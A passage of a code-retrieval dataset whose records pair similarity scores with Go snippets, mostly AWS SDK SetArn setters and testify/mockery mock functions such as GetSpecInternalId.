"score": "0.5560763", "text": "func (s *CreateTaskTemplateOutput) SetArn(v string) *CreateTaskTemplateOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "07d60224bd3ea95befc2a394df440504", "score": "0.5559071", "text": "func (s *UpdateIndexTypeInput) SetArn(v string) *UpdateIndexTypeInput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "d3773961aae593163883f814c7339a36", "score": "0.55557865", "text": "func (s *GetReadSetMetadataOutput) SetArn(v string) *GetReadSetMetadataOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "53f9c33e81b4378a1ddd636031bb4c05", "score": "0.55552596", "text": "func (s *ProfilingGroupDescription) SetArn(v string) *ProfilingGroupDescription {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "02f6d72f3de74bd764436c799544714e", "score": "0.55531603", "text": "func (s *UpdateDataSetOutput) SetArn(v string) *UpdateDataSetOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "bb5d5bf0d4de39075a276bb6bd37941d", "score": "0.5552985", "text": "func (s *CreateContactFlowModuleOutput) SetArn(v string) *CreateContactFlowModuleOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "3f47e077694c5ec7243ebba19f99059f", "score": "0.55487525", "text": "func (s *PauseReplicationOutput) SetArn(v string) *PauseReplicationOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "fb057405a7e29b4f92383ac91c2c706b", "score": "0.55461067", "text": "func (s *CreateComponentTypeOutput) SetArn(v string) *CreateComponentTypeOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "2e3c60a33d404bc977783786ca2faf36", "score": "0.5544226", "text": "func (s *UpdateIndexTypeOutput) SetArn(v string) *UpdateIndexTypeOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "3f8a36aba887e4732e6bfca43d759c8f", "score": "0.55427754", "text": "func (s *CreateLiveSourceOutput) SetArn(v string) *CreateLiveSourceOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "eae6513cbe1a1f8aff6f4f09431419a9", "score": "0.5542641", "text": "func (s *FinalizeCutoverOutput) SetArn(v string) *FinalizeCutoverOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "bf48038c9acd718ab6cd61f71511dacd", "score": "0.5541109", "text": "func (s *GetCallerIdentityOutput) SetArn(v string) *GetCallerIdentityOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "cb3d7e342e7f84badb559e6ee9de7251", "score": "0.55385363", "text": "func (s *UpdateComponentTypeOutput) SetArn(v string) *UpdateComponentTypeOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "1fec734ffc30820b248c30926acae96b", "score": "0.5538366", "text": "func (s *CreateReferenceStoreOutput) SetArn(v string) *CreateReferenceStoreOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "88d34dec9bcc3a19bdb29669eb6847cc", "score": "0.5537801", "text": "func (s *UpdateSourceLocationOutput) SetArn(v string) *UpdateSourceLocationOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "3c2a78d87d5aef8f8dbcc53c9b7561de", "score": "0.55345315", "text": "func (s *FirewallRuleGroup) SetArn(v string) *FirewallRuleGroup {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "16871aadc5ec36fad59b5c5ab70299ee", "score": "0.55265605", "text": "func (s *CreateApplicationOutput) SetArn(v string) *CreateApplicationOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "4b88dfe3fb81ec69f293e1de4b8718be", "score": "0.5526122", "text": "func (s *CreateInstanceOutput) SetArn(v string) *CreateInstanceOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "772146f3f292d69a7ef0e34924efce4c", "score": "0.552568", "text": "func (s *CreateEventActionOutput) SetArn(v string) *CreateEventActionOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "8d4e1d9b950e541ddeb3567caaa70011", "score": "0.5522769", "text": "func (s *UpdateApplicationOutput) SetArn(v string) *UpdateApplicationOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "8ab8f44440b86ad0873f23f6c552429f", "score": "0.55196184", "text": "func (s *ResumeReplicationOutput) SetArn(v string) *ResumeReplicationOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "fd38203d0a4ec3e9e8a6a6fcce33bfa8", "score": "0.55176204", "text": "func (s *Preset) SetArn(v string) *Preset {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "b7311856be5e04693f725d40bf981197", "score": "0.5517182", "text": "func (s *UnarchiveApplicationOutput) SetArn(v string) *UnarchiveApplicationOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "26961bf0102fe3d0b1b53c89206f8a54", "score": "0.5515306", "text": "func (s *UpdateLiveSourceOutput) SetArn(v string) *UpdateLiveSourceOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "f9ada298e324f25191925e5e2012408f", "score": "0.551324", "text": "func (s *CreateWaveOutput) SetArn(v string) *CreateWaveOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "50a0d7ed5d977920c1afbb359eb331c2", "score": "0.5512993", "text": "func (s *GetReferenceStoreOutput) SetArn(v string) *GetReferenceStoreOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "ac6639d96e936745cd95dde6c0640757", "score": "0.5510635", "text": "func (s *UpdateTaskTemplateOutput) SetArn(v string) *UpdateTaskTemplateOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "ce433ed02c4483d1ec9c6890281e60d2", "score": "0.55093235", "text": "func (s *DescribeLiveSourceOutput) SetArn(v string) *DescribeLiveSourceOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "e65fa2bb51cd4fe410d8c28293156a8b", "score": "0.5509296", "text": "func (s *Repository) SetArn(v string) *Repository {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "a5c1c89a5d398b6450bfef3d144e9bea", "score": "0.5508241", "text": "func (s *ScheduleEntry) SetArn(v string) *ScheduleEntry {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "8387bb216abb5ca9e8b4201f7abc94e6", "score": "0.55079466", "text": "func (s *UpdateWaveOutput) SetArn(v string) *UpdateWaveOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "bbe000f56a0dfa4fa3c8303d6b4bc0d8", "score": "0.5506478", "text": "func (s *UpdateSourceServerReplicationTypeOutput) SetArn(v string) *UpdateSourceServerReplicationTypeOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "0c352d775f9ac719a936fe772061bb18", "score": "0.54953927", "text": "func (s *Account) SetArn(v string) *Account {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "089703bfe2af84d2e1ef5903409ec8fd", "score": "0.54953134", "text": "func (s *Member) SetArn(v string) *Member {\n\ts.Arn = &v\n\treturn s\n}", "title": "" } ]
b9dc3b469de617fa848f0e414930fa70
GetSpecInternalId provides a mock function with given fields:
[ { "docid": "612e9009392ac2b0a455c2af7a071bbc", "score": "0.7757325", "text": "func (_m *ReplicationStatusIface) GetSpecInternalId() string {\n\tret := _m.Called()\n\n\tvar r0 string\n\tif rf, ok := ret.Get(0).(func() string); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(string)\n\t}\n\n\treturn r0\n}", "title": "" } ]
[ { "docid": "3dac8760e05fba1aafb469d70a3083c4", "score": "0.5968663", "text": "func (_m *GeneralSnapshot) GetID() string {\n\tret := _m.Called()\n\n\tvar r0 string\n\tif rf, ok := ret.Get(0).(func() string); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(string)\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "96c779b8ca48b621dff6b4a38e8e614e", "score": "0.5933693", "text": "func (_m *Store) GetByID(_a0 string) (*metadata.Image, error) {\n\tret := _m.Called(_a0)\n\n\tvar r0 *metadata.Image\n\tif rf, ok := ret.Get(0).(func(string) *metadata.Image); ok {\n\t\tr0 = rf(_a0)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*metadata.Image)\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(string) error); ok {\n\t\tr1 = rf(_a0)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "166e82a4db0073ffba2014ed86e3600d", "score": "0.5928476", "text": "func (m *Team) GetInternalId()(*string) {\n val, err := m.GetBackingStore().Get(\"internalId\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.(*string)\n }\n return nil\n}", "title": "" }, { "docid": "aa62631f868b672ff7a027119c036ba4", "score": "0.5790143", "text": "func (_m *StatesRepository) GetStateID(_a0 string) (int, error) {\n\tret := _m.Called(_a0)\n\n\tvar r0 int\n\tif rf, ok := ret.Get(0).(func(string) int); ok {\n\t\tr0 = rf(_a0)\n\t} else {\n\t\tr0 = ret.Get(0).(int)\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(string) error); ok {\n\t\tr1 = rf(_a0)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "5018d3b07a181b8eec99d796ceeaae1f", "score": "0.5783015", "text": "func (_m *TxManager) GetChainID() (*big.Int, error) {\n\tret := _m.Called()\n\n\tvar r0 *big.Int\n\tif rf, ok := ret.Get(0).(func() *big.Int); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*big.Int)\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func() error); ok {\n\t\tr1 = rf()\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "38a365f336aa2802e54e99aca0d6b89f", "score": "0.5740579", "text": "func (_m *Indexer) GetID() string {\n\tret := _m.Called()\n\n\tvar r0 string\n\tif rf, ok := ret.Get(0).(func() string); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(string)\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "c92c239d16b132973834a215cbc84c97", "score": "0.5728934", "text": "func (_m *MockClientService) GetRetentionsID(params *products.GetRetentionsIDParams, authInfo runtime.ClientAuthInfoWriter, opts ...products.ClientOption) (*products.GetRetentionsIDOK, error) {\n\t_va := make([]interface{}, len(opts))\n\tfor _i := range opts {\n\t\t_va[_i] = opts[_i]\n\t}\n\tvar _ca []interface{}\n\t_ca = append(_ca, params, authInfo)\n\t_ca = append(_ca, _va...)\n\tret := _m.Called(_ca...)\n\n\tvar r0 *products.GetRetentionsIDOK\n\tif rf, ok := ret.Get(0).(func(*products.GetRetentionsIDParams, runtime.ClientAuthInfoWriter, ...products.ClientOption) *products.GetRetentionsIDOK); ok {\n\t\tr0 = rf(params, authInfo, opts...)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*products.GetRetentionsIDOK)\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(*products.GetRetentionsIDParams, runtime.ClientAuthInfoWriter, ...products.ClientOption) error); ok {\n\t\tr1 = rf(params, authInfo, opts...)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "9c3dad9e3ca768f4aa8f6a64b535d901", "score": "0.5713869", "text": "func (_m *MockEObjectIDManager) GetID(_a0 EObject) interface{} {\n\tret := _m.Called(_a0)\n\n\tvar r0 interface{}\n\tif rf, ok := ret.Get(0).(func(EObject) interface{}); ok {\n\t\tr0 = rf(_a0)\n\t} else {\n\t\tr0 = ret.Get(0)\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "dcccb6d78ed04f6b373a8fb14fe0be6d", "score": "0.5706308", "text": "func (_m *StorageEntity) GetID() string {\n\tret := _m.Called()\n\n\tvar r0 string\n\tif rf, ok := ret.Get(0).(func() string); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(string)\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "3b53ba27cdff734d7abc5ba1a9a1f116", "score": "0.5651134", "text": "func (m *MockInterfaceDataBase) GenID() (uint64, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GenID\")\n\tret0, _ := ret[0].(uint64)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "ca97af23ee9903974aa943cf67e2ead7", "score": "0.5604688", "text": "func (_m *ExternalResourceContainer) ID() string {\n\tret := _m.Called()\n\n\tvar r0 string\n\tif rf, ok := ret.Get(0).(func() string); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(string)\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "ead60663a35e9544d57bc7360840f88f", "score": "0.5598602", "text": "func (_m *ParkingLotRepository) GetIdByRegistrationNumber(ctx context.Context, registrationNumber string) (domain.ParkingLot, error) {\n\tret := _m.Called(ctx, registrationNumber)\n\n\tvar r0 domain.ParkingLot\n\tif rf, ok := ret.Get(0).(func(context.Context, string) domain.ParkingLot); ok {\n\t\tr0 = rf(ctx, registrationNumber)\n\t} else {\n\t\tr0 = ret.Get(0).(domain.ParkingLot)\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(context.Context, string) error); ok {\n\t\tr1 = rf(ctx, registrationNumber)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "7dffe9377e91dbf7d5319000bf6200f7", "score": "0.5589512", "text": "func (_m *Broadcast) EVMChainID() big.Int {\n\tret := _m.Called()\n\n\tvar r0 big.Int\n\tif rf, ok := ret.Get(0).(func() big.Int); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(big.Int)\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "0c8ea5cd80c6458f49d0b4237a7852e1", "score": "0.55734944", "text": "func (m *MockProvider) GetID() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetID\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "title": "" }, { "docid": "bd9bee1cdd1db5b3090eda13ecc0f915", "score": "0.5537856", "text": "func (_m *MountMock) GetInstanceID() (string, error) {\n\tret := _m.Called()\n\n\tvar r0 string\n\tif rf, ok := ret.Get(0).(func() string); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(string)\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func() error); ok {\n\t\tr1 = rf()\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "080f94a9432d8b11f5ed92300335624a", "score": "0.5536868", "text": "func (_m *Organizations) GetByID(_a0 context.Context, _a1 int64) (*github.Organization, *github.Response, error) {\n\tret := _m.Called(_a0, _a1)\n\n\tvar r0 *github.Organization\n\tif rf, ok := ret.Get(0).(func(context.Context, int64) *github.Organization); ok {\n\t\tr0 = rf(_a0, _a1)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*github.Organization)\n\t\t}\n\t}\n\n\tvar r1 *github.Response\n\tif rf, ok := ret.Get(1).(func(context.Context, int64) *github.Response); ok {\n\t\tr1 = rf(_a0, _a1)\n\t} else {\n\t\tif ret.Get(1) != nil {\n\t\t\tr1 = ret.Get(1).(*github.Response)\n\t\t}\n\t}\n\n\tvar r2 error\n\tif rf, ok := ret.Get(2).(func(context.Context, int64) error); ok {\n\t\tr2 = rf(_a0, _a1)\n\t} else {\n\t\tr2 = ret.Error(2)\n\t}\n\n\treturn r0, r1, r2\n}", "title": "" }, { "docid": "b537d0669eebdbdeb607226d7d2d39a4", "score": "0.55301327", "text": "func (m *MockIdentifier) GetID() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetID\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "title": "" }, { "docid": "ac87ecf1654ce21775a0b76c282abf4e", "score": "0.5522464", "text": "func (_m *Config) ChainID() *big.Int {\n\tret := _m.Called()\n\n\tvar r0 *big.Int\n\tif rf, ok := ret.Get(0).(func() *big.Int); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*big.Int)\n\t\t}\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "21d6e22c07440da6399f06c0ec1e9ec4", "score": "0.5516073", "text": "func (_m *ChainScopedConfig) ChainID() *big.Int {\n\tret := _m.Called()\n\n\tvar r0 *big.Int\n\tif rf, ok := ret.Get(0).(func() *big.Int); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*big.Int)\n\t\t}\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "2e5fbe51ea4bd30444fbd0259fd3531a", "score": "0.5493452", "text": "func (_m *Identity) GetMSPIdentifier() string {\n\tret := _m.Called()\n\n\tvar r0 string\n\tif rf, ok := ret.Get(0).(func() string); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(string)\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "fb0da5ffa93847e7c0ae206ceed133d6", "score": "0.5472298", "text": "func (_m *Identity) GetIdentifier() *msp.IdentityIdentifier {\n\tret := _m.Called()\n\n\tvar r0 *msp.IdentityIdentifier\n\tif rf, ok := ret.Get(0).(func() *msp.IdentityIdentifier); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*msp.IdentityIdentifier)\n\t\t}\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "172be9a724c9520c08d4449656fdb4b7", "score": "0.54638416", "text": "func MockGetId(idGenerator *idgo.MySQLIdGenerator, db *sql.DB, wg *sync.WaitGroup) {\n\tdefer wg.Done()\n\tsqlFormat := \"insert into %s(id_from_idgo) values(%d)\"\n\tfor running {\n\t\tid, err := idGenerator.Next()\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"main:idGenerator Next error:%s\\n\", err.Error())\n\t\t\tcontinue\n\t\t}\n\t\tsql := fmt.Sprintf(sqlFormat, tableName, id)\n\t\t_, err = db.Exec(sql)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"main:insert into idtable error:%s,id:%d\\n\",\n\t\t\t\terr.Error(), id)\n\t\t\tcontinue\n\t\t}\n\t\ttime.Sleep(time.Millisecond * 80)\n\t}\n}", "title": "" }, { "docid": "6d6b96adf77efbd25b6dc0a1bfc73835", "score": "0.5456311", "text": "func (_m *MockQuerier) EventIDByKey(ctx context.Context, key string) (models.EventID, error) {\n\tret := _m.Called(ctx, key)\n\n\tvar r0 models.EventID\n\tif rf, ok := ret.Get(0).(func(context.Context, string) models.EventID); ok {\n\t\tr0 = rf(ctx, key)\n\t} else {\n\t\tr0 = ret.Get(0).(models.EventID)\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(context.Context, string) error); ok {\n\t\tr1 = rf(ctx, key)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "fd45a11fe3464b3df3e1c289e5ba25d5", "score": "0.53878635", "text": "func (_m *ContainerIface) ID() string {\n\tret := _m.Called()\n\n\tvar r0 string\n\tif rf, ok := ret.Get(0).(func() string); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(string)\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "183660ff1111ed7ce0f754c22c50c76c", "score": "0.53868085", "text": "func (m *MockConn) ID() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"ID\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "title": "" }, { "docid": "3b5932509e9a4784e6d89c44e5b8ab4c", "score": "0.5379136", "text": "func (_m *MockQueryProvider) EventIDByKey(ctx context.Context, key string) (models.EventID, error) {\n\tret := _m.Called(ctx, key)\n\n\tvar r0 models.EventID\n\tif rf, ok := ret.Get(0).(func(context.Context, string) models.EventID); ok {\n\t\tr0 = rf(ctx, key)\n\t} else {\n\t\tr0 = ret.Get(0).(models.EventID)\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(context.Context, string) error); ok {\n\t\tr1 = rf(ctx, key)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "dbd1b34a1092a59fe9547e7c655d9d11", "score": "0.5353172", "text": "func (_m *ResourceContainer) ID() string {\n\tret := _m.Called()\n\n\tvar r0 string\n\tif rf, ok := ret.Get(0).(func() string); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(string)\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "ffac7ea5172d0440462de9680894cb02", "score": "0.5347706", "text": "func (_m *CloudInstance) ID() string {\n\tret := _m.Called()\n\n\tvar r0 string\n\tif rf, ok := ret.Get(0).(func() string); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(string)\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "831552c6ce5cf9cc2a259bcc0cc58df3", "score": "0.5335906", "text": "func (_m *Group) ID() string {\n\tret := _m.Called()\n\n\tvar r0 string\n\tif rf, ok := ret.Get(0).(func() string); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(string)\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "d27312f4fea41f3246cd804cdbe41d16", "score": "0.5314559", "text": "func mockGetPKI(statusCode int) {\r\n\thttpmock.Reset()\r\n\thttpmock.RegisterResponder(http.MethodGet, testServerURL+\"id/\"+testAlias+\"@\"+testDomain,\r\n\t\thttpmock.NewStringResponder(\r\n\t\t\tstatusCode,\r\n\t\t\t`{\"`+DefaultServiceName+`\": \"`+DefaultBsvAliasVersion+`\",\r\n\"handle\": \"`+testAlias+`@`+testDomain+`\",\r\n\"pubkey\": \"02ead23149a1e33df17325ec7a7ba9e0b20c674c57c630f527d69b866aa9b65b10\"}`,\r\n\t\t),\r\n\t)\r\n}", "title": "" }, { "docid": "7911000a834b26d1f3bb741c7fbf1ef3", "score": "0.52846247", "text": "func (_m *SpecService) GetByReferenceObjectID(ctx context.Context, resourceType resource.Type, objectType model.SpecReferenceObjectType, objectID string) (*model.Spec, error) {\n\tret := _m.Called(ctx, resourceType, objectType, objectID)\n\n\tvar r0 *model.Spec\n\tif rf, ok := ret.Get(0).(func(context.Context, resource.Type, model.SpecReferenceObjectType, string) *model.Spec); ok {\n\t\tr0 = rf(ctx, resourceType, objectType, objectID)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*model.Spec)\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(context.Context, resource.Type, model.SpecReferenceObjectType, string) error); ok {\n\t\tr1 = rf(ctx, resourceType, objectType, objectID)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "7c9b67632830aa9feb58804693d85e33", "score": "0.52810967", "text": "func (m *MockStream) ID() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"ID\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "title": "" }, { "docid": "d844cc3786ead38684149e50bb9044ce", "score": "0.5276767", "text": "func (_m *Client) GetChangelistIDForCommit(ctx context.Context, commit *vcsinfo.LongCommit) (string, error) {\n\tret := _m.Called(ctx, commit)\n\n\tvar r0 string\n\tif rf, ok := ret.Get(0).(func(context.Context, *vcsinfo.LongCommit) string); ok {\n\t\tr0 = rf(ctx, commit)\n\t} else {\n\t\tr0 = ret.Get(0).(string)\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(context.Context, *vcsinfo.LongCommit) error); ok {\n\t\tr1 = rf(ctx, commit)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "cd4f2528657d35b89b77cc1bda0f6fd8", "score": "0.5268092", "text": "func (_m *ChainScopedConfig) P2PPeerIDRaw() string {\n\tret := _m.Called()\n\n\tvar r0 string\n\tif rf, ok := ret.Get(0).(func() string); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(string)\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "721352be6f7b072d6fb2a6eeb3acc736", "score": "0.5259736", "text": "func (_m *Engine) Get(validatorID ids.ShortID, requestID uint32, containerID ids.ID) error {\n\tret := _m.Called(validatorID, requestID, containerID)\n\n\tvar r0 error\n\tif rf, ok := ret.Get(0).(func(ids.ShortID, uint32, ids.ID) error); ok {\n\t\tr0 = rf(validatorID, requestID, containerID)\n\t} else {\n\t\tr0 = ret.Error(0)\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "edd839d2f12c60fe8379aa7485959111", "score": "0.52592707", "text": "func (_m *PooledConnect) GetConnectionID() int64 {\n\tret := _m.Called()\n\n\tvar r0 int64\n\tif rf, ok := ret.Get(0).(func() int64); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(int64)\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "8d9c6562fa81329fe8a2119362a7495b", "score": "0.52585423", "text": "func (_m *SecretStore) GetIDByName(ctx context.Context, secretName string) (string, error) {\n\tret := _m.Called(ctx, secretName)\n\n\tvar r0 string\n\tif rf, ok := ret.Get(0).(func(context.Context, string) string); ok {\n\t\tr0 = rf(ctx, secretName)\n\t} else {\n\t\tr0 = ret.Get(0).(string)\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(context.Context, string) error); ok {\n\t\tr1 = rf(ctx, secretName)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "6b43c52c61abf65693fcbe7062bd6b14", "score": "0.524641", "text": "func (_m *Router) GetID() peer.ID {\n\tret := _m.Called()\n\n\tvar r0 peer.ID\n\tif rf, ok := ret.Get(0).(func() peer.ID); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(peer.ID)\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "2af53662f42c1e69ee0f24d2340f4140", "score": "0.52453566", "text": "func (m *MockBeanDefinition) ID() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"ID\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "title": "" }, { "docid": "4ec5d8570c7891d3dfe1bad5ad8b3822", "score": "0.52438146", "text": "func (_m *CartCache) BuildIdentifier(_a0 context.Context, _a1 *web.Session) (application.CartCacheIdentifier, error) {\n\tret := _m.Called(_a0, _a1)\n\n\tvar r0 application.CartCacheIdentifier\n\tvar r1 error\n\tif rf, ok := ret.Get(0).(func(context.Context, *web.Session) (application.CartCacheIdentifier, error)); ok {\n\t\treturn rf(_a0, _a1)\n\t}\n\tif rf, ok := ret.Get(0).(func(context.Context, *web.Session) application.CartCacheIdentifier); ok {\n\t\tr0 = rf(_a0, _a1)\n\t} else {\n\t\tr0 = ret.Get(0).(application.CartCacheIdentifier)\n\t}\n\n\tif rf, ok := ret.Get(1).(func(context.Context, *web.Session) error); ok {\n\t\tr1 = rf(_a0, _a1)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "e9b89442eed17d36c463b0e8eb59217c", "score": "0.5224097", "text": "func (m *MockSessionInterface) ID() bson.Raw {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"ID\")\n\tret0, _ := ret[0].(bson.Raw)\n\treturn ret0\n}", "title": "" }, { "docid": "011098bc3acf13255667e809d0d5426d", "score": "0.5219007", "text": "func (_m *StorageEntity) GetSpecHash() (uint64, error) {\n\tret := _m.Called()\n\n\tvar r0 uint64\n\tif rf, ok := ret.Get(0).(func() uint64); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(uint64)\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func() error); ok {\n\t\tr1 = rf()\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "cfcfe062064912c8ea94eb4868ceed66", "score": "0.52181035", "text": "func (m *UserRepositoryMock) MinimockGetByIdInspect() {\n\tfor _, e := range m.GetByIdMock.expectations {\n\t\tif mm_atomic.LoadUint64(&e.Counter) < 1 {\n\t\t\tm.t.Errorf(\"Expected call to UserRepositoryMock.GetById with params: %#v\", *e.params)\n\t\t}\n\t}\n\n\t// if default expectation was set then invocations count should be greater than zero\n\tif m.GetByIdMock.defaultExpectation != nil && mm_atomic.LoadUint64(&m.afterGetByIdCounter) < 1 {\n\t\tif m.GetByIdMock.defaultExpectation.params == nil {\n\t\t\tm.t.Error(\"Expected call to UserRepositoryMock.GetById\")\n\t\t} else {\n\t\t\tm.t.Errorf(\"Expected call to 